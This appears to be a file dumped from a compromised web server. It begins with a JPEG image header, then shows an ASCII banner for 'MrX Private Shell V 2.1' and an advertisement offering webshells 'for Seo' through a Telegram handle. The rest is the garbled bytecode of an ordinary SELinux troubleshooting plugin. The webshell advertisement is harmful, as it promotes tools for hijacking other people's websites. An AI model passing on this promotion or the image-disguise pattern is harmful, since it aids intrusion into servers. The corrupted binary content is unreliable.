����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
a
�Z`� � @ s\ d dl Z e jddd�Zej Zd dlT d dlmZ d dlZd dlT d dlZG dd� de�Z dS ) � Nzsetroubleshoot-pluginsT)Zfallback)�*)�Pluginc @ sH e Zd Zed�Zdd� Zed�Zdd� Zed�ZdZ d d
� Z
dd� Zd
S )�pluginzN
SELinux is preventing $SOURCE_PATH "$ACCESS" access to $TARGET_PATH.
c C s t d�|d S )Nz�
You tried to place a type on a %s that is not a file type. This is not allowed, you must assigne a file type. You can list all file types using the seinfo command.
seinfo -afile_type -x
� )�_��self�avc�args� r �./usr/share/setroubleshoot/plugins/associate.py�get_problem_description$ s �zplugin.get_problem_descriptionzpIf you want to change the label of $TARGET_PATH to %s, you are not allowed to since it is not a valid file type.c C s | j |d S )Nr )�if_textr r r r �get_if_text. s zplugin.get_if_textz!you must pick a valid file label.zXselect a valid file type. List valid file labels by executing:
# seinfo -afile_type -xc C s t �| t� | �d� d S )N�d )r �__init__�__name__Zset_priority)r r r r r 4 s zplugin.__init__c C sL |j jtvrH|�dg�r*| �d|j jf�S |�dg�rH| �d|jjf�S d S )NZ relabeltor Z associate)Ztcontext�typeZ
file_typesZall_accesses_are_inZreportZscontext)r r r r r �analyze8 s zplugin.analyzeN)r �
__module__�__qualname__r Zsummaryr
r r Z then_textZdo_textr r r r r r r s r )
�gettextZtranslationr Zsetroubleshoot.utilZsetroubleshoot.Pluginr �os�statZselinuxr r r r r �<module> s